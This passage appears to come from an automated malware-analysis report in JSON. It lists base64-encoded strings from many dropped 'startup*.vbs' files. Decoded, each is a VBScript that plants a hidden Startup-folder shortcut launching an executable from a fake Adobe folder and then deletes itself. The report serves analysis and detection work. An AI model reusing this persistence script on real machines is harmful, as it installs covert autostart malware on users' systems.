File","process":null,"filename":"startup7284813.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxOTk2NTE0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7284813.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup1990457.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTA0ODkyNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1990457.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxMDQ4OTI0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1990457.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup1352268.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTA1NTc3MS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1352268.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxMDU1NzcxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1352268.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup7434561.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTIyMzAxMS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7434561.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxMjIzMDExLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7434561.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup8245793.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTMwMDk0Ni5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8245793.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxMzAwOTQ2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8245793.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup1581107.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTQ1MjAzMy5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1581107.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxNDUyMDMzLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1581107.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup1095315.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTU2NjAzMy5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1095315.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxNTY2MDMzLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1095315.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup8192529.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTcyMjA5My5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8192529.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxNzIyMDkzLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8192529.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup3077130.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTg0NjQyLmxuayIp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3077130.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxODQ2NDIubG5rIilsbmsuVGFyZ2V0UGF0aCA9ICJjbWQuZXhlImxuay5Bcmd1bWVudHMgPSAiL2sgc3RhcnQgIiIiIiAiIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXEFkb2JlXDNNUllLXCBcbXNjci5leGUiIiZleGl0JiIiImxuay5XaW5kb3dTdHlsZSA9ICI3Imxuay5TYXZlb2JqRlNPLkRlbGV0ZUZpbGUoV3NjcmlwdC5TY3JpcHRGdWxsTmFtZSk=","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3077130.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup1295063.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTkyNjY4MS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1295063.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxOTI2NjgxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1295063.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup3197659.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMjI4MjU0Ni5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3197659.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsyMjgyNTQ2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3197659.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup8790147.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMjUyNzEwOS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8790147.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsyNTI3MTA5LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8790147.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup2788310.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMjY4NTY1Ni5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2788310.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsyNjg1NjU2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2788310.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup3330015.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzAzMTE2NC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3330015.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszMDMxMTY0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3330015.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup5382966.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzIzMjYyNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup5382966.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszMjMyNjI0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup5382966.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup2144209.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzM2NzE0Ny5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2144209.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszMzY3MTQ3LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2144209.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup124481.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzM4NjAwNy5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup124481.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszMzg2MDA3LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup124481.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup3019309.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzQ5MTUwNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3019309.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUszNDkxNTA0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3019309.vbs","compromised":null,"detection_total":null,"total":null}]},{"name":"startup276877.vbs","strings":[{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzQ5MzE1OS5sbmsiKQ==","type":"Ansi","source":"Dropped 